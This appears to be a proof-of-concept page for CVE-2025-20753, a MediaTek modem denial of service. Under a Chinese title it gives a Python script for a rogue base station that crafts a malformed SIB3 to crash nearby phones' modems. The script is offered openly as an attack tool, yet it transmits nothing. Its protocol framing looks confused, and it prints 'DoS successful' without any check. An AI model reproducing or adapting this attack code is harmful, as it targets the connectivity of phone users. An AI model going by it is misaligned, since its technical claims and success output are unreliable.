CVE-2025-20753 MediaTek调制解调器未捕获异常导致拒绝服务漏洞

# CVE-2025-20753 PoC - MediaTek Modem DoS via Rogue Base Station # This PoC simulates the attack scenario using SDR (Software Defined Radio) import socket import struct from datetime import datetime class RogueBaseStation: def __init__(self, target_mcc=460, target_mnc=00): self.target_mcc = target_mcc self.target_mnc = target_mnc self.packet_count = 0 def craft_malicious_sib(self, sib_type=3): """Craft malicious System Information Block to trigger uncaught exception""" # SIB3 configuration with malformed mobility parameters sib3_data = bytearray() # Cell identity and tracking area code sib3_data.extend(struct.pack('!I', 0x00000001)) # Cell ID sib3_data.extend(struct.pack('!H', 0x0001)) # TAC # Mobility control info with invalid values sib3_data.append(0x01) # mobilityControlInfo present sib3_data.extend(struct.pack('!H', 0xFFFF)) # Invalid carrier frequency sib3_data.append(0xFF) # Malformed data to trigger exception sib3_data.extend(b'\x00' * 20) # Padding with zero values return sib3_data def send_trigger_packet(self, sdr_device='/dev/ttyUSB0'): """Simulate sending malicious packet via SDR""" print(f"[*] {datetime.now()} - Initiating rogue base station attack") print(f"[*] Target MCC/MNC: {self.target_mcc}/{self.target_mnc}") # Craft RRC Connection Reconfiguration with malicious SIB malicious_sib = self.craft_malicious_sib() # Simulate packet transmission packet = bytes([ 0x00, 0x01, # PDCP header 0x02, # RRC message type (Reconfiguration) 0x03, # SIB type indicator ]) + malicious_sib self.packet_count += 1 print(f"[+] {datetime.now()} - Sent packet #{self.packet_count}") print(f"[+] Payload length: {len(packet)} bytes") print(f"[+] Triggering uncaught exception in MediaTek modem...") return True def check_modem_status(self, timeout=30): """Check if modem has crashed""" print(f"[*] Checking modem status for {timeout} seconds...") for i in range(timeout): print(f"[*] Status check {i+1}/{timeout}...") # In real scenario, would check AT command responses print("[!] Modem unresponsive - DoS successful") return True def main(): print("=" * 60) print("CVE-2025-20753 PoC - MediaTek Modem DoS via Rogue Base Station") print("=" * 60) rogue_bs = RogueBaseStation() # Step 1: Start rogue base station print("\n[Step 1] Starting rogue base station...") rogue_bs.send_trigger_packet() # Step 2: Wait for victim connection print("\n[Step 2] Waiting for victim UE to attach...") # Step 3: Send malicious packet print("\n[Step 3] Sending malicious SIB to trigger exception...") rogue_bs.send_trigger_packet() # Step 4: Verify DoS print("\n[Step 4] Verifying modem crash...") rogue_bs.check_modem_status() print("\n[!] Attack completed - Modem DoS achieved") if __name__ == "__main__": main()